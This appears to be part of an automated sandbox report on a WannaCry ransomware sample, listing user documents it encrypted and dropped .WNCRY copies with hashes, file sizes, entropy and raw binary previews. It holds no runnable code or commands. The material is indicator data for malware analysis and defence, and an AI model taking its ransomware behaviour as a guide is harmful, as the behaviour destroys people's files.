                                                                                                      SHA1:998D4BC067B58BF7FDA6F3852FB192E022816F3D
                                                                                                      SHA-256:997F21569F23E147C2FC3832E0AFB6C56A6590614C8C98243656D85F74F0EAE4
                                                                                                      SHA-512:717C65170DE964A6F01975545B567AA28721FF0070A0B38BC6BCAD7E16572A0ABCBFD0BA5F193E069681D4E984C1B113FAE4F4FB6C375A9B52378822F8AAB250
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......G].q....X....b9...>..]w...m.F>......OI....~L.-..VN....H.S.,.A...c.K."..V......t+.Ex.1.2.!]q.].......E.sU...%.4..R.:l.S..%.4!~.8....[.Q..n.....^......R..e!.:3w...I...,...D..(Oi./7.6..1*.`.|v.....q...1.....B<.)..&h&Y...-:...U..I....c.............4.. .....S...EDk<.....Q...BCP...: .i^..}?.{...P|NF..~.P.y...F....3.i.(........8G%.g3*...t.pL.n.n....j.....0.lp...`.'t....".R.&>.!S{uBhz.-.S..k.....~..c.s...!..V.!...%...E.r.XK......*(KwYn^...r6P5.2&.r] .6g..}. h..L....3p...([5..XDi.N....A.^}W.J.nO...-...?Lu..q...]N...Fm...?u..K.......[..4.,s.......B>.........gsT&...9..Pb.........7...5.^2.............m....q.?]m..wy...f..J.'k...{.....i.2....@%..q...G..|..WLcL._r\.Q.6@..>t...S/J..g.=l._>h...\}....r^I.?..U/..O.OT....L.....Os[.E.&..jg......$_....k9......rv.<v*...u...~..B..)..A.....fG..S-.u&Ut..D...g.n....E..g}0...L.....".^^......p...3.....;........../)o...}.}..u...T.H..?....4.Nf..7F.....C..Y..w..[..!2..T..76/.-...UM...A..h"..

                                                                                                      C:\Users\user\Documents\GLTYDMDUST.png

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.828713080905346
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:m09iESWkyRjDQO3O5CsgAVcyEJ7+MLyUsypLUu5BLJI:h0ESWXtDQBdVciMf4gLy
                                                                                                      MD5:30C2011FE04DAB545489E75B4E523679
                                                                                                      SHA1:11BDB0D47B397F594FFD977000994DB4F0C52FB9
                                                                                                      SHA-256:1BAA9C6D4E63D5E20106C3AD3CA3FE8A17A2E15DA4A4AED70890476EF610776D
                                                                                                      SHA-512:C47826547BDA7FE288853A1B6B3E6043914A30F9830422B6FE8039748DF918BDA7E727610F036C3DDCF5B3D5E28A13D1571FF63E15638AD914C31A6B9D11928D
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:........6..G.+hU.(.y..N7HR.....5.ov..b.8|.<'..y...6....Q.M.g......mt...EvBD.N-:H".4..Yx..W.....}#..|g._.M~......6I ^\3..K;..rWL....)@...#:.b&...!..*.....H..>.(...q.Hl.w$.....>..(.h...S.h).A.~.......K..M..F[..:doe...}...I.......qBJk<...7O.(..uT.L..lY,..4..r..t...f.vG..*.,?...=LARi....I.nb.{...m...0....S.....N....U..........T......9s5......}..H.T^.t..\V\..T.J.a..RF.=.a...."..-..y...nr.-h/|Y.H.._.E.....7..|S.a.o.......D....(...EG8..S.'.g...c.g.,......zG-.."....\...!>...!...!....lFcdl..O..."..{..x..q4..^.....mp.!..SW...F...^......v|....AI.....a.g..J..}v.....r.j.......oU6B..rm.|........L{...P...?.&&2.......Yc..'.%.BV.-..<.H...pay.*/.,..J@1%>...z.'j........*...C.j.,0A..e>...yH..@...h.....{`.K........6.....0..xa n..6.Cf.....c....U..Ct..........b....q...Gh....X..9w....y.E).4.{z..6.....]..?..A..g..X...s..1/.C;.9..gM...PR...7.{.ih.....q{.b=..$>-G.X[.J.7<....]..`.J..'..ea..(...N..Dm...9w.eV.?..".,...,.b1..jI.f...<.[.&w..._....+lB.M.. ..._.o...3...

                                                                                                      C:\Users\user\Documents\GLTYDMDUST.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.861319275501036
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkIuYyS8ig2oIVl4ho+uyTsPLWzHwx+P0iBH7kQ7gPBf:bkIdRgJ8m/yWkx+PJB3Of
                                                                                                      MD5:641ADB9397F9F5A442918799B4A84A08
                                                                                                      SHA1:00AB0D02AD68045A6239D5EAF4779398954B79FB
                                                                                                      SHA-256:B851D068EBF319817BAC49A11D3E032CD75C62B443FC28A164FF24F9389FC8B6
                                                                                                      SHA-512:AFB56E94B5EF8330562D75C15BD52B1C4FED13367C185221D4A7539FED565C5291D9A862C9D0F8EC05A98FEB9432EA99F8F69CCF87745E523833EFC5C1FF68AB
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....[.;.=......q<*rq.'..d..+.GOm).......-..Y........4Qf...#....,....*..N. ].5...Z.k...C..A...o.[w.h...N,....C.s....&.S...YTu.t..?N.p^?..C..g)a/"....ye....P.#.,..........n.n.Rv..6.Q>d...[...,.."..*C.Pb\...s...q...5-.....A..............%...._'.d.c....................k.]+..."...}...4.BX..~%!T8..V\c...b..ul<.HR.T..&v.Q.Eq.J....A._....$...... ..E.,a .o..6.0..{...t`...<..U.s".J..N...........Y...h.2..^...O7~.A....K.N..q.=.7.f.....w.y]&@$p..s...&.T6B......z..v....^...s7Q.x..$.?...}....1...GK..5Y....P...7...){..../....W^..QT....b...+I... fP.Z&#.,..../.E"?.....U.oT.......`..'..D..B..#..bnAR.....2........ay..~.N(0..9...B...V.....PD.W..'.;.....@7.z/i.......p.qt?U...G..^....^}.0W..\ .G.$C..~W..y.0!.6.@_t.....2.,.^.c...R....p.U......ez@*.z%..Z-.D.....\:.L>..=...Yg...m.#. ...YT.o(..S.......n#...(kR..u..M0d.>......<...+Y.....b>....K~K~[N.u.m......w....(.5b...1..z..o/...1...r.U..;*.@.$..nS7"S.Km+Z/b..?o.`.u..@..tZ...`#.c..&.K#.t.s.Po.....o!6..8d

                                                                                                      C:\Users\user\Documents\GLTYDMDUST.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.861319275501036
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkIuYyS8ig2oIVl4ho+uyTsPLWzHwx+P0iBH7kQ7gPBf:bkIdRgJ8m/yWkx+PJB3Of
                                                                                                      MD5:641ADB9397F9F5A442918799B4A84A08
                                                                                                      SHA1:00AB0D02AD68045A6239D5EAF4779398954B79FB
                                                                                                      SHA-256:B851D068EBF319817BAC49A11D3E032CD75C62B443FC28A164FF24F9389FC8B6
                                                                                                      SHA-512:AFB56E94B5EF8330562D75C15BD52B1C4FED13367C185221D4A7539FED565C5291D9A862C9D0F8EC05A98FEB9432EA99F8F69CCF87745E523833EFC5C1FF68AB
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....[.;.=......q<*rq.'..d..+.GOm).......-..Y........4Qf...#....,....*..N. ].5...Z.k...C..A...o.[w.h...N,....C.s....&.S...YTu.t..?N.p^?..C..g)a/"....ye....P.#.,..........n.n.Rv..6.Q>d...[...,.."..*C.Pb\...s...q...5-.....A..............%...._'.d.c....................k.]+..."...}...4.BX..~%!T8..V\c...b..ul<.HR.T..&v.Q.Eq.J....A._....$...... ..E.,a .o..6.0..{...t`...<..U.s".J..N...........Y...h.2..^...O7~.A....K.N..q.=.7.f.....w.y]&@$p..s...&.T6B......z..v....^...s7Q.x..$.?...}....1...GK..5Y....P...7...){..../....W^..QT....b...+I... fP.Z&#.,..../.E"?.....U.oT.......`..'..D..B..#..bnAR.....2........ay..~.N(0..9...B...V.....PD.W..'.;.....@7.z/i.......p.qt?U...G..^....^}.0W..\ .G.$C..~W..y.0!.6.@_t.....2.,.^.c...R....p.U......ez@*.z%..Z-.D.....\:.L>..=...Yg...m.#. ...YT.o(..S.......n#...(kR..u..M0d.>......<...+Y.....b>....K~K~[N.u.m......w....(.5b...1..z..o/...1...r.U..;*.@.$..nS7"S.Km+Z/b..?o.`.u..@..tZ...`#.c..&.K#.t.s.Po.....o!6..8d

                                                                                                      C:\Users\user\Documents\GRXZDKKVDB.jpg

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.795927456239765
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:KiM3/6w/kuPKjWtB81b0CCSO1FHmphqYdLDmt3KsITyb:KH/zdPKjWtgQCrO1khqYdLD86fTyb
                                                                                                      MD5:05707DECB47C75AA9309AE9F97B5A841
                                                                                                      SHA1:2420C4E37BF3DBBBF399E318B64E627866C053FB
                                                                                                      SHA-256:4F79140694F8D97A6D91C98902E9C6F4ADB3E4895E52CD4D7B4519F69A439660
                                                                                                      SHA-512:BB3E8E448FDC76886E49B25B7E8F88B9F6360A2DA66FB920725C1D4B983AB6EE8D44BB9C54AF0FEE8760C37FB5C4C0708F113B0DAB6B330055FB5A4AFE80EF64
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:D/....9..1......WE.C.@..L..>GJ.M...*...%!p...!?.!\...'6x...~....!...PV.K......E..=..q..0.LR.`.''...&.........4...(#Im.}V..u{%.sw..)K~.F...e...S4.5.F.I..~.CPG..i.{.d.oF..f.t....L0....E...W.X.pt..z.&Oy.Q...X_.U..E..w.0?.a....&hs_.,B.....7..7'.s6V.....v...t....|......b.$'...@*d..2_bZ/......o..K.'.+."..;.U!.J -..,&Pv.sj;;)r7......X.x....y ....U;......yz.]..*.F...6m3. F..A....@.yQ......[-......w.5\..?........H.U.i.qp.&\..e...t.....~....X........iU....rc>pa..O.)B....f.AW.S...D;ib(Z.;...[...~.s...;.+)9.....q..:..2...6. ..../..^..,.....h.(...3.T/.Y.%...e.7Ai.x..C]\...4.Ny.....X|B}.....0.Zl.2w..-.....CN.....0l...;.F......W.2=.....u.r.9........>U...m..M.Ha.3....En/.4..........r.w..y....h.TS...&ICo..Qe$.Q.t........g..dOL]..c.......slu.0N.j.^..{.....<......).Xb..^....4= ..M...^6W....~t.&=..L_W.........~:l,.[....f..|..FW......0.....d9T..T.o...../.}......,...n..&...N{......+..*d./_.K3...&.. ^$.xT+.m...3...U..u..F..7..q.;67*.....`C..-2.U..6s.

                                                                                                      C:\Users\user\Documents\GRXZDKKVDB.jpg.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.867419546744944
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkzfIySloZWySFuH/ZmX27sdsckp0uuoXQgk3HZ7baRtI2gqTLW5jrp:bkzNgoZWgH/ZhsPFKIFaS9p
                                                                                                      MD5:3D3609F66867F4F0E0EBB709BB1837A1
                                                                                                      SHA1:74525A618905230ACD951CB48D712409A67A2CF7
                                                                                                      SHA-256:FD94481927E12DE48F646284A69D9EB28CFAF4CF5D9380B887BDDEB846418107
                                                                                                      SHA-512:3A406D170BE5EB4ED548135B993CD2FD2F0C7CB56D54A7C49E36275907C8CCE384FD52BCDE5E716F4FA91B60EF517830C6EBCE7982F873370F7711C01A8AD0AF
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......m....p.s......<UD..D...~...fD...S,N..M1..........9.^=...6/.)r/....c..ux..*.zi..e...Xr#..'.WV....V..y...1V'.....r.#...,t..L./..;.1CK.o.'n$..|..-...._.#1i.V.....U...m...zb......a:......%.n.....].y'}.....{.#.......M....Xm...=Al&......H..6.U0.n.WA.............Z..EFk........u.....s!.p...0-....TR.......03k............aN:.F...o...i.O..=C:l>d........F.y.}1.=f......5.+z.e.s......aI.C..4...(Y.X[....e...2....`y|....b.....$kNB...| .C.J3./:..........NAb..V.....\.S.....RlI..Z.d8.-kZ!....r.........f.....s.}.S.......{....$!..O../....+Uz6.W...,........o.(..k..|..2.\...R..xe3`.ZS...]..k.?@"..9Zf..Z...@./nt..t..rr.Etm...X..Q.<P.g...t....:...8.3..@Wq.'>.....-:........}..........I..L.V.@.%.P..e......L.2E...?... .....O..$_.U.a.1O].N1.g...H..uM.q.G.E..K;q.#.j.....|n.....]...<;.q$..1..X&...z?..^./P...C.]e.v..x.m...w*....Xf].........9..R>@....Q..3I.u.&...K..A...<..jGS.7..7.c'.S.c'...]do..|b.h.\r.Z..aG..l.q.*h...2.h........./...+..f1D\<.....d=

                                                                                                      C:\Users\user\Documents\GRXZDKKVDB.jpg.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.867419546744944
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkzfIySloZWySFuH/ZmX27sdsckp0uuoXQgk3HZ7baRtI2gqTLW5jrp:bkzNgoZWgH/ZhsPFKIFaS9p
                                                                                                      MD5:3D3609F66867F4F0E0EBB709BB1837A1
                                                                                                      SHA1:74525A618905230ACD951CB48D712409A67A2CF7
                                                                                                      SHA-256:FD94481927E12DE48F646284A69D9EB28CFAF4CF5D9380B887BDDEB846418107
                                                                                                      SHA-512:3A406D170BE5EB4ED548135B993CD2FD2F0C7CB56D54A7C49E36275907C8CCE384FD52BCDE5E716F4FA91B60EF517830C6EBCE7982F873370F7711C01A8AD0AF
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......m....p.s......<UD..D...~...fD...S,N..M1..........9.^=...6/.)r/....c..ux..*.zi..e...Xr#..'.WV....V..y...1V'.....r.#...,t..L./..;.1CK.o.'n$..|..-...._.#1i.V.....U...m...zb......a:......%.n.....].y'}.....{.#.......M....Xm...=Al&......H..6.U0.n.WA.............Z..EFk........u.....s!.p...0-....TR.......03k............aN:.F...o...i.O..=C:l>d........F.y.}1.=f......5.+z.e.s......aI.C..4...(Y.X[....e...2....`y|....b.....$kNB...| .C.J3./:..........NAb..V.....\.S.....RlI..Z.d8.-kZ!....r.........f.....s.}.S.......{....$!..O../....+Uz6.W...,........o.(..k..|..2.\...R..xe3`.ZS...]..k.?@"..9Zf..Z...@./nt..t..rr.Etm...X..Q.<P.g...t....:...8.3..@Wq.'>.....-:........}..........I..L.V.@.%.P..e......L.2E...?... .....O..$_.U.a.1O].N1.g...H..uM.q.G.E..K;q.#.j.....|n.....]...<;.q$..1..X&...z?..^./P...C.]e.v..x.m...w*....Xf].........9..R>@....Q..3I.u.&...K..A...<..jGS.7..7.c'.S.c'...]do..|b.h.\r.Z..aG..l.q.*h...2.h........./...+..f1D\<.....d=

                                                                                                      C:\Users\user\Documents\GRXZDKKVDB.xlsx

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.838328973706292
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:zFM8+CQKcBGgwQa3HJDrNr1nkgO1LcHQYJ4ZHz6jLPsMenu7n:Jx0PGg8HRPk/cHb4ZHzGLkt4n
                                                                                                      MD5:7230232429D2CCB5CB5198C11A10ED88
                                                                                                      SHA1:02434E763AFA90D614FAB2FDA2B6B462E3AE72BA
                                                                                                      SHA-256:5D8A4CDA819ADFDA335DD9E6275E29DF7D091D38B0F022C7EDDAE97FE1B2575E
                                                                                                      SHA-512:CF3AAD47ABD09612F43D87701BDA1F055B7D0F945C53968F0835023BE05389601DD88E33A221D4A36FB33DBBDB53C766092F1A7324EA04E8741BE502C3B245B5
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:o.:..6.....%........F.58....T.bZ.\..,.PO'_}..Z*..x.vK..l.."w.>d.P..8*.Z.zDx..HV_......f....>.5.. .F...u.nA..U.T*.|eK.......;.\j-6....uU=l/...X..T._....y...}.A...O.K.S.*E7.9....>..t..oRM.or..f.CcR..f... u......tL.....i..de%..."..}.%..Q......Bs..q>.d..M"....U}......q..3.0.|...%....a....s..M.....*Kp.lu.....2..!.[..t...].8....R.z.$..8I .].<?......{B.l.u.Z....fv..!mU]..E...\C>.s......`V.\...y..Y.(R....?..Nl8)k.h....M..5..@B...G......c...U.........'G..vg['.H..%.....9........|.....>..8.z:.o.._.....Z.+...:|d9W..#=Ji.B..K.f..p.&..c.3]4...U....._.bn9.4.@....D#.c.kK.....cI..O.c.7.v~Wk..G.L"KWW7......._.W<.!...r>).."..c.#.x..b.Q-w.-...Z....z...l.u..0'h...7E3.d8.m.:w...t..t...e.F.GYB.......;.w.m.'..f.....^6....q.5.."..$dWMIf.I0!.M......V..5.D.<Z.B..LM....+6.....6.N....T../..3...LD.:.bF.{.^..5QU.c.!.e..C.#..V.S...I...]En.f...)$.Qh.)u..rC...uJj..\BTf.f.H.X.c.5.d.g..{..(..w.".s..b05.......&`..y....AjT...P.|.......(..S...;.z.m.{...(..,T.:|

                                                                                                      C:\Users\user\Documents\GRXZDKKVDB.xlsx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.8681076158552266
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkrRp56nkcdzyyzKW3vQEH974uKJIpnoKut1k8GSK3FuJ65P:bkrrcVNvH745Itz8G/Fa65P
                                                                                                      MD5:F3FD38DE5918933D8B8E6A4DD231A7E5
                                                                                                      SHA1:FB58C684F513544EB9FD83E7E6E01DF9BBB59DFD
                                                                                                      SHA-256:BB1D9589C3F9907D1C3ECC999497DAD403B659FA99B7EA8E76A9C7D127ED0395
                                                                                                      SHA-512:A4099A6285C4C332ED928E2C99042FA3E2D7D4176FEF6FD99D7DE790BC517C28B886FC84B4370C77104F5FE4239D693DB4F1289C78C35B8203789C4B156EA025
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......~.o2.1.Q/..p4...}..{..o.#..6......7O...9......{......KD.....Q...T..)LD.5..9.I.........n.S...+.S..a.?....r..,N...z..p..~....|zZ.F....N6./kL.:.tB.......4.y8......=...dmxh>.7......ol..q....w.....o..w.J.@...z..+i~....aHi)....l..;..k]..".....$.Gh_m.................Z...^....nLj..2%.{.!y..z."HB.!...........j.m}.....zNp...a.RC..>....TZ3.n....~=G+?.W.F..qc..pK..P'..*..S{a..R.[..(/l...c..K..v:...|.l..........mw.b..F..h;.g.?...[.F..(4....y4.n....m>....dT.k.s...C......{vps.....).fJj@.*4...K..3....oI.\..........(.;@.s.....C-........l....Q...T..9..l..|.E?............7..H,...r4..|.@.?mn..B..D,.f.e9...................Fd3..s9...U....$....</.+..C.,.r...&s..)>@..R.o.K...#&~...C.u+..!.....j.Y..P....d$..L.g...1.....@..(....QC.).....e.>B..T.........y"...W..t.#..O:...Xe.e..8..].o.&MA.....].m...=..=.~.~..O..k...R.J......K.s..,...u..'.[...Z..;.5../..Cu.....L...-.B....+.........._..B.{...a'....i..&m..y.r.i..G..{w...(.M .....J.}_H.1.\u^.q.}{.PV.k.v..

                                                                                                      C:\Users\user\Documents\GRXZDKKVDB.xlsx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.8681076158552266
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkrRp56nkcdzyyzKW3vQEH974uKJIpnoKut1k8GSK3FuJ65P:bkrrcVNvH745Itz8G/Fa65P
                                                                                                      MD5:F3FD38DE5918933D8B8E6A4DD231A7E5
                                                                                                      SHA1:FB58C684F513544EB9FD83E7E6E01DF9BBB59DFD
                                                                                                      SHA-256:BB1D9589C3F9907D1C3ECC999497DAD403B659FA99B7EA8E76A9C7D127ED0395
                                                                                                      SHA-512:A4099A6285C4C332ED928E2C99042FA3E2D7D4176FEF6FD99D7DE790BC517C28B886FC84B4370C77104F5FE4239D693DB4F1289C78C35B8203789C4B156EA025
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......~.o2.1.Q/..p4...}..{..o.#..6......7O...9......{......KD.....Q...T..)LD.5..9.I.........n.S...+.S..a.?....r..,N...z..p..~....|zZ.F....N6./kL.:.tB.......4.y8......=...dmxh>.7......ol..q....w.....o..w.J.@...z..+i~....aHi)....l..;..k]..".....$.Gh_m.................Z...^....nLj..2%.{.!y..z."HB.!...........j.m}.....zNp...a.RC..>....TZ3.n....~=G+?.W.F..qc..pK..P'..*..S{a..R.[..(/l...c..K..v:...|.l..........mw.b..F..h;.g.?...[.F..(4....y4.n....m>....dT.k.s...C......{vps.....).fJj@.*4...K..3....oI.\..........(.;@.s.....C-........l....Q...T..9..l..|.E?............7..H,...r4..|.@.?mn..B..D,.f.e9...................Fd3..s9...U....$....</.+..C.,.r...&s..)>@..R.o.K...#&~...C.u+..!.....j.Y..P....d$..L.g...1.....@..(....QC.).....e.>B..T.........y"...W..t.#..O:...Xe.e..8..].o.&MA.....].m...=..=.~.~..O..k...R.J......K.s..,...u..'.[...Z..;.5../..Cu.....L...-.B....+.........._..B.{...a'....i..&m..y.r.i..G..{w...(.M .....J.}_H.1.\u^.q.}{.PV.k.v..

                                                                                                      C:\Users\user\Documents\HMPPSXQPQV.mp3

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.8452241513932
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:EjPp2L+FgBi1+mEDqXVYmoB0kz4DbUMORGhA8:Z+FgBi1YqlmPMOGhA8
                                                                                                      MD5:A318B664160971AE5362D39650CDB81C
                                                                                                      SHA1:E459C0A71E8AD52311327ADCE3C51BF83D430AC8
                                                                                                      SHA-256:621208BE237578CCB92469BAAE2BB711F5964A4893466E4318B0CD1934B426B7
                                                                                                      SHA-512:2D12FF98F17A2BC80345331A2760285DFB4176925E99B5FDC55F4548C6ED8AB3E3DC95B3FF8F4D49BCC86637F407422644FC798A0A630B9CA51AD491384EDC37
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:B`.Z...t.h. .V....,..j1./<..,"]...f...u..:d;.......l`..R..<.K._..1.e./....4yS....6.gV.....~....o........E$.>..%..P.'.. .NB...9.=.......i...0....F...".r..7G.O...~9.(.......`.%..|.f....U=..S.rm.\.fZ)$.-x.:K.y..j.z.x.....B...-..K..$..\.P..wk.T.{.......#...H...K.........lz...\.....+....+.$..{.J.'...Z..uZM.d.[. sC..X.QV...Tu0..N>(x}..~)..0...j.W. .....J.F+..4...O...A.7..5..%...~....sB".0..H.A<.4p...`Q...[.....^....z...KTMTn.gBBe...5....Uk_....3.?...qz....n..?RV.*.V..>.Ka<.u..;cX.....`.,.5...^..~.oC.....(..G....vL..A:.K..C.D[s...sN.:d.*e..F.E....Xbz......._u..'.T7.c...n.a<....z.zd1.|eMMW...g%.Z.;........Iu.M.....OS6H.Y..t...v...Q....3.........B>_.U..K....?h b.s.....U.;7........"...].I....Z..y.0.d|(...0A1..vJc..Ub5...u.>.f...Im.4.Y...->..O.Aqsa+..4..]l*.._..B...<.W...g.@...W.i2.o.....$0.u..Qo5k....XZ..\-|\..).....^...E9...]-.......Q.Dd...[.8...(J..A...{.2....&+.A..!..}.-.Z..1C].x...t.F=|..,...7."...."...e.&9.G.F.J..\{...;.....<LdZ.8.E.WN....$.

                                                                                                      C:\Users\user\Documents\HMPPSXQPQV.mp3.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.857897266789788
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkjoEm/9ZPRkY3gE32QVJmQ5OWlLfa3gBEs54rY2wVBvtho0UvBvFZN9XlfPVaKz:bk8F9VRkogEGEAQ5XlLC30EKQEbj6PND
                                                                                                      MD5:485EAD38104BE4E59BD9F0683F3BCAFF
                                                                                                      SHA1:E791B8DCD15F4E2A113A2715F86FBE67FFC61630
                                                                                                      SHA-256:8AE71F48A2EBB7C3247AD6E1F9F600D232EB5782078014E20D0A5CED45F766B1
                                                                                                      SHA-512:15CD6262A225288B4BD7C35194430AE0D7BA73BB3F25F00B19EB10D30F26F48A5A621EE6B8CFD2F9BE86F55935D547C81C40066944C287DDC427DA09F7E25537
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....l~/......N..9...\H+..)r../..>.l...X|Dbp....:...7.HK....+..i......3.G.@.*...H....xP'2.L.%$...#.VL._.......V.}.x.b...0......L...-.x.7..O ..;{..A.&..........Mv+..1..+..c.5k..y0...<....H@.d.z.._....Be.XV..>..t..C].{.0........1.z*.8s.F\Y..\.:......q...............%....PXF2.Y..K.p..>.5.].:...X...T.>.C..JJ,.@.I.<.aQnJ.*mf...y.sK.x........@..k..]A/...p]jO.a..G8......y[.2j..]e.n.a.]/..(p{.D ..w*.....d......."...7.@-..._.h<m..).[.!.f}.D....#...ec..@. ..>.Z....nC.....j:..8u.uJB......z.|QDf.F|.b+.|.lD..z...N.\.0.O...+5.PBJ.D....*._....%...wW..wK M...GL..{..K~.b..(wQC....%.........H.].H...O. .9=....2..>.`.m....pr..O...]/...0..A.k.:N.w~G;....../.y.x.e*.r.h3....a......L.Z..T?..V:l.<...kZ_.....BY..h._..?.-.."^.e.]...!.Q;-......^_y&6.o..8T..X..9..F.cW's3...&..U..^.eK=..q..:.8.`Y...{P(.."y.o.(..L..x..}]..<.R....#H.=..~^9.....w.`[..".....,..h<0.z..~k.+x..GK.*...Z.....)[.;.I......^.wy.2....M\........v=......n.B...;..|)|.8.+.H%..."..M.YO.U#9E..r8o

                                                                                                      C:\Users\user\Documents\HMPPSXQPQV.mp3.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.857897266789788
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkjoEm/9ZPRkY3gE32QVJmQ5OWlLfa3gBEs54rY2wVBvtho0UvBvFZN9XlfPVaKz:bk8F9VRkogEGEAQ5XlLC30EKQEbj6PND
                                                                                                      MD5:485EAD38104BE4E59BD9F0683F3BCAFF
                                                                                                      SHA1:E791B8DCD15F4E2A113A2715F86FBE67FFC61630
                                                                                                      SHA-256:8AE71F48A2EBB7C3247AD6E1F9F600D232EB5782078014E20D0A5CED45F766B1
                                                                                                      SHA-512:15CD6262A225288B4BD7C35194430AE0D7BA73BB3F25F00B19EB10D30F26F48A5A621EE6B8CFD2F9BE86F55935D547C81C40066944C287DDC427DA09F7E25537
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....l~/......N..9...\H+..)r../..>.l...X|Dbp....:...7.HK....+..i......3.G.@.*...H....xP'2.L.%$...#.VL._.......V.}.x.b...0......L...-.x.7..O ..;{..A.&..........Mv+..1..+..c.5k..y0...<....H@.d.z.._....Be.XV..>..t..C].{.0........1.z*.8s.F\Y..\.:......q...............%....PXF2.Y..K.p..>.5.].:...X...T.>.C..JJ,.@.I.<.aQnJ.*mf...y.sK.x........@..k..]A/...p]jO.a..G8......y[.2j..]e.n.a.]/..(p{.D ..w*.....d......."...7.@-..._.h<m..).[.!.f}.D....#...ec..@. ..>.Z....nC.....j:..8u.uJB......z.|QDf.F|.b+.|.lD..z...N.\.0.O...+5.PBJ.D....*._....%...wW..wK M...GL..{..K~.b..(wQC....%.........H.].H...O. .9=....2..>.`.m....pr..O...]/...0..A.k.:N.w~G;....../.y.x.e*.r.h3....a......L.Z..T?..V:l.<...kZ_.....BY..h._..?.-.."^.e.]...!.Q;-......^_y&6.o..8T..X..9..F.cW's3...&..U..^.eK=..q..:.8.`Y...{P(.."y.o.(..L..x..}]..<.R....#H.=..~^9.....w.`[..".....,..h<0.z..~k.+x..GK.*...Z.....)[.;.I......^.wy.2....M\........v=......n.B...;..|)|.8.+.H%..."..M.YO.U#9E..r8o

                                                                                                      C:\Users\user\Documents\JDDHMPCDUJ.png

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.816652956305946
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:pyK9Q8eaaUk6XRTIdTuQHZ3c6RUesqoQr65jVoJtz9k9Kp:4K28pk6XRTIdTnZ3c6iewQeRCJ/c2
                                                                                                      MD5:BE304670F4CB16273FBDD244E3B9767F
                                                                                                      SHA1:2AE9F19FFD6CCB615C8AD6ED2D0747D8A22A6BF3
